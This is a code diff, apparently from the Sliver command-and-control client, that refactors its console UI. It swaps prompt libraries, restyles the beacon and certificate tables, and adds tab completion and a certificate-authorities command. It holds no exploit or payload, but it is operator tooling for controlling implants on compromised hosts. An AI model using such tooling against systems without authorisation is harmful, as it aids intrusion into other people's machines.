fmt.Sprintf(color+"%s"+console.Normal, beacon.Hostname),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
|
||||
fmt.Sprintf(color+"%s (%d)"+console.Normal, beacon.Filename, beacon.PID),
|
||||
style.Render(strings.Split(beacon.ID, "-")[0]),
|
||||
style.Render(beacon.Name),
|
||||
style.Render(fmt.Sprintf("%d/%d", beacon.TasksCountCompleted, beacon.TasksCount)),
|
||||
style.Render(beacon.Transport),
|
||||
style.Render(beacon.RemoteAddress),
|
||||
style.Render(beacon.Hostname),
|
||||
style.Render(strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
|
||||
style.Render(fmt.Sprintf("%s (%d)", beacon.Filename, beacon.PID)),
|
||||
}
|
||||
|
||||
if windowsBeaconInList {
|
||||
rowEntries = append(rowEntries, fmt.Sprintf(color+"%s"+console.Normal, beacon.Integrity))
|
||||
rowEntries = append(rowEntries, style.Render(beacon.Integrity))
|
||||
}
|
||||
|
||||
rowEntries = append(rowEntries, []string{
|
||||
fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Locale),
|
||||
style.Render(fmt.Sprintf("%s/%s", beacon.OS, beacon.Arch)),
|
||||
style.Render(beacon.Locale),
|
||||
con.FormatDateDelta(time.Unix(beacon.LastCheckin, 0), wideTermWidth, false),
|
||||
con.FormatDateDelta(time.Unix(beacon.NextCheckin, 0), wideTermWidth, true),
|
||||
}...)
|
||||
} else {
|
||||
rowEntries = []string{
|
||||
fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Hostname),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
|
||||
fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
|
||||
style.Render(strings.Split(beacon.ID, "-")[0]),
|
||||
style.Render(beacon.Name),
|
||||
style.Render(beacon.Transport),
|
||||
style.Render(beacon.Hostname),
|
||||
style.Render(strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
|
||||
style.Render(fmt.Sprintf("%s/%s", beacon.OS, beacon.Arch)),
|
||||
con.FormatDateDelta(time.Unix(beacon.LastCheckin, 0), wideTermWidth, false),
|
||||
con.FormatDateDelta(time.Unix(beacon.NextCheckin, 0), wideTermWidth, true),
|
||||
}
|
||||
|
||||
@@ -33,6 +33,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
flags.Bind("beacons", false, beaconsCmd, func(f *pflag.FlagSet) {
|
||||
f.StringP("kill", "k", "", "kill the designated beacon")
|
||||
f.BoolP("kill-all", "K", false, "kill all beacons")
|
||||
f.StringP("interact", "i", "", "interact with a beacon")
|
||||
f.BoolP("force", "F", false, "force killing the beacon")
|
||||
|
||||
f.StringP("filter", "f", "", "filter beacons by substring")
|
||||
@@ -40,7 +41,9 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
})
|
||||
flags.BindFlagCompletions(beaconsCmd, func(comp *carapace.ActionMap) {
|
||||
(*comp)["kill"] = BeaconIDCompleter(con)
|
||||
(*comp)["interact"] = BeaconIDCompleter(con)
|
||||
})
|
||||
registerBeaconIDFlagCompletion(beaconsCmd, "interact", con)
|
||||
beaconsRmCmd := &cobra.Command{
|
||||
Use: consts.RmStr,
|
||||
Short: "Remove a beacon",
|
||||
@@ -81,22 +84,74 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
// BeaconIDCompleter completes beacon IDs
|
||||
func BeaconIDCompleter(con *console.SliverClient) carapace.Action {
|
||||
callback := func(_ carapace.Context) carapace.Action {
|
||||
results := make([]string, 0)
|
||||
|
||||
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
|
||||
if err == nil {
|
||||
for _, b := range beacons.Beacons {
|
||||
link := fmt.Sprintf("[%s <- %s]", b.ActiveC2, b.RemoteAddress)
|
||||
id := fmt.Sprintf("%s (%d)", b.Name, b.PID)
|
||||
userHost := fmt.Sprintf("%s@%s", b.Username, b.Hostname)
|
||||
desc := strings.Join([]string{id, userHost, link}, " ")
|
||||
|
||||
results = append(results, b.ID[:8])
|
||||
results = append(results, desc)
|
||||
}
|
||||
}
|
||||
return carapace.ActionValuesDescribed(results...).Tag("beacons")
|
||||
return carapace.ActionValuesDescribed(beaconCompletionPairs(con)...).Tag("beacons")
|
||||
}
|
||||
|
||||
return carapace.ActionCallback(callback)
|
||||
}
|
||||
|
||||
func registerBeaconIDFlagCompletion(cmd *cobra.Command, name string, con *console.SliverClient) {
|
||||
if cmd == nil {
|
||||
return
|
||||
}
|
||||
if _, ok := cmd.GetFlagCompletionFunc(name); ok {
|
||||
return
|
||||
}
|
||||
if cmd.Flags().Lookup(name) == nil && cmd.PersistentFlags().Lookup(name) == nil {
|
||||
return
|
||||
}
|
||||
_ = cmd.RegisterFlagCompletionFunc(name, func(_ *cobra.Command, _ []string, toComplete string) ([]string, cobra.ShellCompDirective) {
|
||||
values := describedValuesToTabs(beaconCompletionPairs(con))
|
||||
return filterCompletionValues(values, toComplete), cobra.ShellCompDirectiveNoFileComp
|
||||
})
|
||||
}
|
||||
|
||||
func beaconCompletionPairs(con *console.SliverClient) []string {
|
||||
results := make([]string, 0)
|
||||
if con == nil || con.Rpc == nil {
|
||||
return results
|
||||
}
|
||||
|
||||
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
return results
|
||||
}
|
||||
|
||||
for _, b := range beacons.Beacons {
|
||||
link := fmt.Sprintf("[%s <- %s]", b.ActiveC2, b.RemoteAddress)
|
||||
id := fmt.Sprintf("%s (%d)", b.Name, b.PID)
|
||||
userHost := fmt.Sprintf("%s@%s", b.Username, b.Hostname)
|
||||
desc := strings.Join([]string{id, userHost, link}, " ")
|
||||
|
||||
results = append(results, b.ID[:8], desc)
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
func describedValuesToTabs(values []string) []string {
|
||||
tabbed := make([]string, 0, len(values)/2)
|
||||
for i := 0; i+1 < len(values); i += 2 {
|
||||
tabbed = append(tabbed, fmt.Sprintf("%s\t%s", values[i], values[i+1]))
|
||||
}
|
||||
return tabbed
|
||||
}
|
||||
|
||||
func filterCompletionValues(values []string, prefix string) []string {
|
||||
if prefix == "" {
|
||||
return values
|
||||
}
|
||||
|
||||
filtered := make([]string, 0, len(values))
|
||||
for _, value := range values {
|
||||
candidate := value
|
||||
if tab := strings.IndexByte(value, '\t'); tab >= 0 {
|
||||
candidate = value[:tab]
|
||||
}
|
||||
if strings.HasPrefix(candidate, prefix) {
|
||||
filtered = append(filtered, value)
|
||||
}
|
||||
}
|
||||
|
||||
return filtered
|
||||
}
|
||||
@@ -26,9 +26,8 @@ import (
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/forms"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
)
|
||||
@@ -83,12 +82,8 @@ func SelectBeacon(con *console.SliverClient) (*clientpb.Beacon, error) {
|
||||
|
||||
options := strings.Split(outputBuf.String(), "\n")
|
||||
options = options[:len(options)-1] // Remove the last empty option
|
||||
prompt := &survey.Select{
|
||||
Message: "Select a beacon:",
|
||||
Options: options,
|
||||
}
|
||||
selected := ""
|
||||
survey.AskOne(prompt, &selected)
|
||||
_ = forms.Select("Select a beacon:", options, &selected)
|
||||
if selected == "" {
|
||||
return nil, ErrNoSelection
|
||||
}
|
||||
|
||||
@@ -21,10 +21,10 @@ package beacons
|
||||
import (
|
||||
"time"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/forms"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
)
|
||||
@@ -71,8 +71,7 @@ func BeaconsPruneCmd(cmd *cobra.Command, con *console.SliverClient, args []strin
|
||||
}
|
||||
con.Println()
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Prune these beacons?"}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
_ = forms.Confirm("Prune these beacons?", &confirm)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
|
||||
@@ -0,0 +1,10 @@
|
||||
# client/command/builders
|
||||
|
||||
## Overview
|
||||
|
||||
Implements the 'builders' command group for the Sliver client console.
|
||||
|
||||
## Go Files
|
||||
|
||||
- `builders.go` – Fetches external builder metadata and formats it for console display.
|
||||
- `commands.go` – Registers the builders CLI command with its flags and completion helpers.
|
||||
@@ -0,0 +1,10 @@
|
||||
# client/command/c2profiles
|
||||
|
||||
## Overview
|
||||
|
||||
Implements the 'c2profiles' command group for the Sliver client console. Handlers map Cobra invocations to c2profiles workflows such as C2 profiles.
|
||||
|
||||
## Go Files
|
||||
|
||||
- `c2profiles.go` – Implements listing, import/export, and generation routines for HTTP C2 profiles, including protobuf/JSON conversion helpers.
|
||||
- `commands.go` – Binds the c2profiles command suite with flag handling and completions for profile management operations.
|
||||
@@ -21,6 +21,7 @@ package c2profiles
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"net/url"
|
||||
@@ -29,7 +30,6 @@ import (
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/spf13/cobra"
|
||||
"golang.org/x/exp/slices"
|
||||
@@ -38,10 +38,15 @@ import (
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/client/forms"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
)
|
||||
|
||||
var (
|
||||
ErrNoSelection = errors.New("no selection")
|
||||
)
|
||||
|
||||
// C2ProfileCmd list available http profiles
|
||||
func C2ProfileCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
profileName, _ := cmd.Flags().GetString("name")
|
||||
@@ -53,7 +58,11 @@ func C2ProfileCmd(cmd *cobra.Command, con *console.SliverClient, args []string)
|
||||
return
|
||||
}
|
||||
if len(httpC2Profiles.Configs) != 1 {
|
||||
profileName = selectC2Profile(httpC2Profiles.Configs)
|
||||
profileName, err = selectC2Profile(httpC2Profiles.Configs)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -124,7 +133,11 @@ func ExportC2ProfileCmd(cmd *cobra.Command, con *console.SliverClient, args []st
|
||||
return
|
||||
}
|
||||
if len(httpC2Profiles.Configs) != 1 {
|
||||
profileName = selectC2Profile(httpC2Profiles.Configs)
|
||||
profileName, err = selectC2Profile(httpC2Profiles.Configs)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -529,31 +542,31 @@ func PrintC2Profiles(profile *clientpb.HTTPC2Config, con *console.SliverClient)
|
||||
|
||||
tw.AppendRow(table.Row{
|
||||
"Paths",
|
||||
strings.Join(paths[:], ","),
|
||||
strings.Join(paths[:], ",")[:50] + "...",
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Files",
|
||||
strings.Join(files[:], ","),
|
||||
strings.Join(files[:], ",")[:50] + "...",
|
||||
})
|
||||
|
||||
con.Println(tw.Render())
|
||||
con.Println("\n")
|
||||
}
|
||||
|
||||
func selectC2Profile(c2profiles []*clientpb.HTTPC2Config) string {
|
||||
func selectC2Profile(c2profiles []*clientpb.HTTPC2Config) (string, error) {
|
||||
c2profile := ""
|
||||
var choices []string
|
||||
for _, c2profile := range c2profiles {
|
||||
choices = append(choices, c2profile.Name)
|
||||
}
|
||||
|
||||
prompt := &survey.Select{
|
||||
Message: "Select a c2 profile",
|
||||
Options: choices,
|
||||
}
|
||||
survey.AskOne(prompt, &c2profile, nil)
|
||||
_ = forms.Select("Select a c2 profile", choices, &c2profile)
|
||||
|
||||
return c2profile
|
||||
if c2profile == "" {
|
||||
return "", ErrNoSelection
|
||||
}
|
||||
|
||||
return c2profile, nil
|
||||
}
|
||||
|
||||
func updateC2Profile(template *assets.HTTPC2Config, urls []string) (*assets.HTTPC2Config, error) {
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
package c2profiles
|
||||
|
||||
import (
|
||||
"github.com/bishopfox/sliver/client/command/completers"
|
||||
"github.com/bishopfox/sliver/client/command/flags"
|
||||
"github.com/bishopfox/sliver/client/command/generate"
|
||||
"github.com/bishopfox/sliver/client/command/help"
|
||||
@@ -27,6 +28,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
f.StringP("file", "f", "", "Path to C2 configuration file to import")
|
||||
f.BoolP("overwrite", "o", false, "Overwrite profile if it exists")
|
||||
})
|
||||
completers.RegisterLocalFilePathFlagCompletion(importC2ProfileCmd, "file")
|
||||
|
||||
exportC2ProfileCmd := &cobra.Command{
|
||||
Use: consts.ExportC2ProfileStr,
|
||||
@@ -40,6 +42,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
f.StringP("file", "f", "", "Path to file to export C2 configuration to")
|
||||
f.StringP("name", "n", consts.DefaultC2Profile, "HTTP C2 Profile name")
|
||||
})
|
||||
completers.RegisterLocalFilePathFlagCompletion(exportC2ProfileCmd, "file")
|
||||
flags.BindFlagCompletions(exportC2ProfileCmd, func(comp *carapace.ActionMap) {
|
||||
(*comp)["name"] = generate.HTTPC2Completer(con)
|
||||
})
|
||||
@@ -76,6 +79,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
f.StringP("name", "n", "", "HTTP C2 Profile name to save C2Profile as")
|
||||
f.StringP("template", "t", consts.DefaultC2Profile, "HTTP C2 Profile to use as a template for the new profile")
|
||||
})
|
||||
completers.RegisterLocalFilePathFlagCompletion(generateC2ProfileCmd, "file")
|
||||
|
||||
flags.BindFlagCompletions(generateC2ProfileCmd, func(comp *carapace.ActionMap) {
|
||||
(*comp)["template"] = generate.HTTPC2Completer(con)
|
||||
|
||||
@@ -0,0 +1,12 @@
|
||||
# client/command/certificates
|
||||
|
||||
## Overview
|
||||
|
||||
Implements the 'certificates' command group for the Sliver client console.
|
||||
|
||||
## Go Files
|
||||
|
||||
- `authorities.go` – Retrieves certificate authority metadata from the server and prints it in a table.
|
||||
- `completions.go` – Provides tab completion helpers for certificate common names.
|
||||
- `certificates.go` – Retrieves certificate metadata from the server, formats expiration status, and prints results to the console.
|
||||
- `commands.go` – Registers the certificates command and binds the flags needed to query certificate inventories.
|
||||
@@ -0,0 +1,89 @@
|
||||
package certificates
|
||||
|
||||
import (
|
||||
"context"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/spf13/cobra"
|
||||
"golang.org/x/term"
|
||||
)
|
||||
|
||||
func CertificateAuthoritiesCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
authorityInfo, err := con.Rpc.GetCertificateAuthorityInfo(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("could not get certificate authority information from database: %s", err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
printCertificateAuthorityInfo(con, authorityInfo.Info)
|
||||
}
|
||||
|
||||
func printCertificateAuthorityInfo(con *console.SliverClient, authData []*clientpb.CertificateAuthorityData) {
|
||||
width, _, err := term.GetSize(0)
|
||||
if err != nil {
|
||||
width = 999
|
||||
}
|
||||
|
||||
if len(authData) == 0 {
|
||||
con.PrintWarnf("There are no certificate authorities in the database.\n")
|
||||
return
|
||||
}
|
||||
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
wideTermWidth := con.Settings.SmallTermWidth < width
|
||||
|
||||
if wideTermWidth {
|
||||
tw.AppendHeader(table.Row{
|
||||
"ID",
|
||||
"Common Name",
|
||||
"Creation Time",
|
||||
"Authority Type",
|
||||
"Key Algorithm",
|
||||
"Validity Start",
|
||||
"Expires",
|
||||
})
|
||||
} else {
|
||||
tw.AppendHeader(table.Row{
|
||||
"ID",
|
||||
"Common Name",
|
||||
"Expires",
|
||||
})
|
||||
}
|
||||
|
||||
for _, authority := range authData {
|
||||
rowStyle := console.StyleNormal
|
||||
|
||||
expiry, err := time.Parse(timeFormat, authority.ValidityExpiry)
|
||||
if err == nil {
|
||||
rowStyle = checkCertExpiry(expiry)
|
||||
}
|
||||
|
||||
if wideTermWidth {
|
||||
tw.AppendRow(table.Row{
|
||||
rowStyle.Render(authority.ID),
|
||||
rowStyle.Render(authority.CN),
|
||||
rowStyle.Render(authority.CreationTime),
|
||||
rowStyle.Render(authority.Type),
|
||||
rowStyle.Render(authority.KeyAlgorithm),
|
||||
rowStyle.Render(authority.ValidityStart),
|
||||
rowStyle.Render(authority.ValidityExpiry),
|
||||
})
|
||||
} else {
|
||||
tw.AppendRow(table.Row{
|
||||
rowStyle.Render(authority.ID),
|
||||
rowStyle.Render(authority.CN),
|
||||
rowStyle.Render(authority.ValidityExpiry),
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
tw.SortBy([]table.SortBy{{Name: "Expires", Mode: table.Dsc}})
|
||||
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
@@ -2,7 +2,6 @@ package certificates
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
@@ -95,22 +94,22 @@ func CertificateInfoCmd(cmd *cobra.Command, con *console.SliverClient, args []st
|
||||
printCertificateInfo(con, certificateInfo.Info)
|
||||
}
|
||||
|
||||
func checkCertExpiry(expiryTime time.Time) string {
|
||||
func checkCertExpiry(expiryTime time.Time) console.TextStyle {
|
||||
if expiryTime.Before(time.Now()) || expiryTime.Equal(time.Now()) {
|
||||
return console.Bold + console.Red
|
||||
return console.StyleBoldRed
|
||||
}
|
||||
|
||||
// One week is 168 hours - this is bad
|
||||
if expiryTime.Before(time.Now().Add(168 * time.Hour)) {
|
||||
return console.Bold + console.Red
|
||||
return console.StyleBoldRed
|
||||
}
|
||||
|
||||
// One month is approximately 730 hours - this is a warning
|
||||
if expiryTime.Before(time.Now().Add(730 * time.Hour)) {
|
||||
return console.Bold + console.Orange
|
||||
return console.StyleBoldOrange
|
||||
}
|
||||
|
||||
return console.Normal
|
||||
return console.StyleNormal
|
||||
}
|
||||
|
||||
func printCertificateInfo(con *console.SliverClient, certData []*clientpb.CertificateData) {
|
||||
@@ -148,28 +147,28 @@ func printCertificateInfo(con *console.SliverClient, certData []*clientpb.Certif
|
||||
}
|
||||
|
||||
for _, cert := range certData {
|
||||
rowColor := console.Normal
|
||||
rowStyle := console.StyleNormal
|
||||
|
||||
expiry, err := time.Parse(timeFormat, cert.ValidityExpiry)
|
||||
// This should not error out, but if it does, the row will not be colored
|
||||
if err == nil {
|
||||
rowColor = checkCertExpiry(expiry)
|
||||
rowStyle = checkCertExpiry(expiry)
|
||||
}
|
||||
if wideTermWidth {
|
||||
tw.AppendRow(table.Row{
|
||||
fmt.Sprintf(rowColor+"%s"+console.Normal, cert.ID),
|
||||
fmt.Sprintf(rowColor+"%s"+console.Normal, cert.CN),
|
||||
fmt.Sprintf(rowColor+"%s"+console.Normal, cert.CreationTime),
|
||||
fmt.Sprintf(rowColor+"%s"+console.Normal, cert.Type),
|
||||
fmt.Sprintf(rowColor+"%s"+console.Normal, cert.KeyAlgorithm),
|
||||
fmt.Sprintf(rowColor+"%s"+console.Normal, cert.ValidityStart),
|
||||
fmt.Sprintf(rowColor+"%s"+console.Normal, cert.ValidityExpiry),
|
||||
rowStyle.Render(cert.ID),
|
||||
rowStyle.Render(cert.CN),
|
||||
rowStyle.Render(cert.CreationTime),
|
||||
rowStyle.Render(cert.Type),
|
||||
rowStyle.Render(cert.KeyAlgorithm),
|
||||
rowStyle.Render(cert.ValidityStart),
|
||||
rowStyle.Render(cert.ValidityExpiry),
|
||||
})
|
||||
} else {
|
||||
tw.AppendRow(table.Row{
|
||||
fmt.Sprintf(rowColor+"%s"+console.Normal, cert.ID),
|
||||
fmt.Sprintf(rowColor+"%s"+console.Normal, cert.CN),
|
||||
fmt.Sprintf(rowColor+"%s"+console.Normal, cert.ValidityExpiry),
|
||||
rowStyle.Render(cert.ID),
|
||||
rowStyle.Render(cert.CN),
|
||||
rowStyle.Render(cert.ValidityExpiry),
|
||||
})
|
||||
}
|
||||
|
||||
|
||||
@@ -23,6 +23,7 @@ import (
|
||||
"github.com/bishopfox/sliver/client/command/help"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/rsteube/carapace"
|
||||
"github.com/spf13/cobra"
|
||||
"github.com/spf13/pflag"
|
||||
)
|
||||
@@ -44,6 +45,19 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
f.BoolP("server", "s", false, "Show server certificates")
|
||||
f.StringP("cn", "c", "", "Show certificate information for a provided common name")
|
||||
})
|
||||
flags.BindFlagCompletions(certificatesCmd, func(comp *carapace.ActionMap) {
|
||||
(*comp)["cn"] = CertificateCommonNameCompleter(con)
|
||||
})
|
||||
registerCertificateCNFlagCompletion(certificatesCmd, "cn", con)
|
||||
|
||||
authoritiesCmd := &cobra.Command{
|
||||
Use: "authorities",
|
||||
Short: "List certificate authorities",
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
CertificateAuthoritiesCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
certificatesCmd.AddCommand(authoritiesCmd)
|
||||
|
||||
return []*cobra.Command{
|
||||
certificatesCmd,
|
||||
|
||||
@@ -0,0 +1,96 @@
|
||||
package certificates
|
||||
|
||||
import (
|
||||
"context"
|
||||
"sort"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/rsteube/carapace"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
// CertificateCommonNameCompleter completes common names for stored certificates.
|
||||
func CertificateCommonNameCompleter(con *console.SliverClient) carapace.Action {
|
||||
return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
|
||||
if con == nil || con.Rpc == nil {
|
||||
return carapace.ActionMessage("not connected")
|
||||
}
|
||||
|
||||
values, err := certificateCommonNameValues(con)
|
||||
if err != nil {
|
||||
return carapace.ActionMessage("failed to list certificates %s", err)
|
||||
}
|
||||
if len(values) == 0 {
|
||||
return carapace.ActionMessage("no certificates")
|
||||
}
|
||||
|
||||
return carapace.ActionValues(values...).Tag("common name").Usage("certificate common name")
|
||||
})
|
||||
}
|
||||
|
||||
func registerCertificateCNFlagCompletion(cmd *cobra.Command, name string, con *console.SliverClient) {
|
||||
if cmd == nil {
|
||||
return
|
||||
}
|
||||
if _, ok := cmd.GetFlagCompletionFunc(name); ok {
|
||||
return
|
||||
}
|
||||
if cmd.Flags().Lookup(name) == nil && cmd.PersistentFlags().Lookup(name) == nil {
|
||||
return
|
||||
}
|
||||
_ = cmd.RegisterFlagCompletionFunc(name, func(_ *cobra.Command, _ []string, toComplete string) ([]string, cobra.ShellCompDirective) {
|
||||
values, err := certificateCommonNameValues(con)
|
||||
if err != nil {
|
||||
return nil, cobra.ShellCompDirectiveNoFileComp
|
||||
}
|
||||
return filterCompletionValues(values, toComplete), cobra.ShellCompDirectiveNoFileComp
|
||||
})
|
||||
}
|
||||
|
||||
func certificateCommonNameValues(con *console.SliverClient) ([]string, error) {
|
||||
if con == nil || con.Rpc == nil {
|
||||
return nil, nil
|
||||
}
|
||||
certInfo, err := con.Rpc.GetCertificateInfo(context.Background(), &clientpb.CertificatesReq{
|
||||
CategoryFilters: AllTransports | AllRoles,
|
||||
})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
unique := map[string]struct{}{}
|
||||
for _, cert := range certInfo.Info {
|
||||
if cert.CN == "" {
|
||||
continue
|
||||
}
|
||||
unique[cert.CN] = struct{}{}
|
||||
}
|
||||
|
||||
values := make([]string, 0, len(unique))
|
||||
for name := range unique {
|
||||
values = append(values, name)
|
||||
}
|
||||
sort.Strings(values)
|
||||
return values, nil
|
||||
}
|
||||
|
||||
func filterCompletionValues(values []string, prefix string) []string {
|
||||
if prefix == "" {
|
||||
return values
|
||||
}
|
||||
|
||||
filtered := make([]string, 0, len(values))
|
||||
for _, value := range values {
|
||||
candidate := value
|
||||
if tab := strings.IndexByte(value, '\t'); tab >= 0 {
|
||||
candidate = value[:tab]
|
||||
}
|
||||
if strings.HasPrefix(candidate, prefix) {
|
||||
filtered = append(filtered, value)
|
||||
}
|
||||
}
|
||||
|
||||
return filtered
|
||||
}
|
||||
@@ -0,0 +1,9 @@
|
||||
# client/command/clean
|
||||
|
||||
## Overview
|
||||
|
||||
Implements the 'clean' command group for the Sliver client console.
|
||||
|
||||
## Go Files
|
||||
|
||||
- `clean.go` – Defines the clean command and its helpers that purge local build artifacts, cached profiles, and stale sessions.
|
||||
@@ -21,10 +21,10 @@ package clean
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/command/flags"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/client/forms"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
@@ -35,8 +35,7 @@ import (
|
||||
func CleanCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
con.Printf("This command will kill and remove all sessions, beacons and profiles \n")
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Are you sure you want to destroy everything?"}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
_ = forms.Confirm("Are you sure you want to destroy everything?", &confirm)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
|
||||
@@ -1,4 +1,9 @@
|
||||
Completers
|
||||
===========
|
||||
# client/command/completers
|
||||
|
||||
This package contains general purpose completers for the console, note that some package also contain their own package-specific completers.
|
||||
## Overview
|
||||
|
||||
Implements the 'completers' command group for the Sliver client console.
|
||||
|
||||
## Go Files
|
||||
|
||||
- `completers.go` – Provides reusable carapace completion helpers for selecting client interfaces and proxy endpoints.
|
||||
@@ -22,6 +22,7 @@ import (
|
||||
"net"
|
||||
|
||||
"github.com/rsteube/carapace"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
// ClientInterfacesCompleter completes interface addresses on the client host.
|
||||
@@ -84,3 +85,60 @@ func LocalProxyCompleter() carapace.Action {
|
||||
}).Invoke(c).Prefix(prefix).ToA()
|
||||
})
|
||||
}
|
||||
|
||||
// LocalFilePathCompleter completes local file and directory paths.
|
||||
func LocalFilePathCompleter() carapace.Action {
|
||||
return carapace.ActionFiles().Tag("local file path")
|
||||
}
|
||||
|
||||
// RegisterLocalFilePathFlagCompletion registers local file-path completion for a flag.
|
||||
func RegisterLocalFilePathFlagCompletion(cmd *cobra.Command, name string) {
|
||||
if cmd == nil {
|
||||
return
|
||||
}
|
||||
if _, ok := cmd.GetFlagCompletionFunc(name); ok {
|
||||
return
|
||||
}
|
||||
if cmd.Flags().Lookup(name) == nil && cmd.PersistentFlags().Lookup(name) == nil {
|
||||
return
|
||||
}
|
||||
_ = cmd.RegisterFlagCompletionFunc(name, func(_ *cobra.Command, _ []string, _ string) ([]string, cobra.ShellCompDirective) {
|
||||
return nil, cobra.ShellCompDirectiveDefault
|
||||
})
|
||||
}
|
||||
|
||||
// RegisterLocalFilePathFlagCompletions registers local file-path completion for a list of flags.
|
||||
func RegisterLocalFilePathFlagCompletions(cmd *cobra.Command, names ...string) {
|
||||
for _, name := range names {
|
||||
RegisterLocalFilePathFlagCompletion(cmd, name)
|
||||
}
|
||||
}
|
||||
|
||||
// RegisterLocalFilePathPositionalCompletion registers local file-path completion for a positional argument index.
|
||||
func RegisterLocalFilePathPositionalCompletion(cmd *cobra.Command, index int) {
|
||||
if cmd == nil || index < 0 {
|
||||
return
|
||||
}
|
||||
if cmd.ValidArgsFunction != nil {
|
||||
return
|
||||
}
|
||||
cmd.ValidArgsFunction = func(_ *cobra.Command, args []string, _ string) ([]string, cobra.ShellCompDirective) {
|
||||
if len(args) == index {
|
||||
return nil, cobra.ShellCompDirectiveDefault
|
||||
}
|
||||
return nil, cobra.ShellCompDirectiveNoFileComp
|
||||
}
|
||||
}
|
||||
|
||||
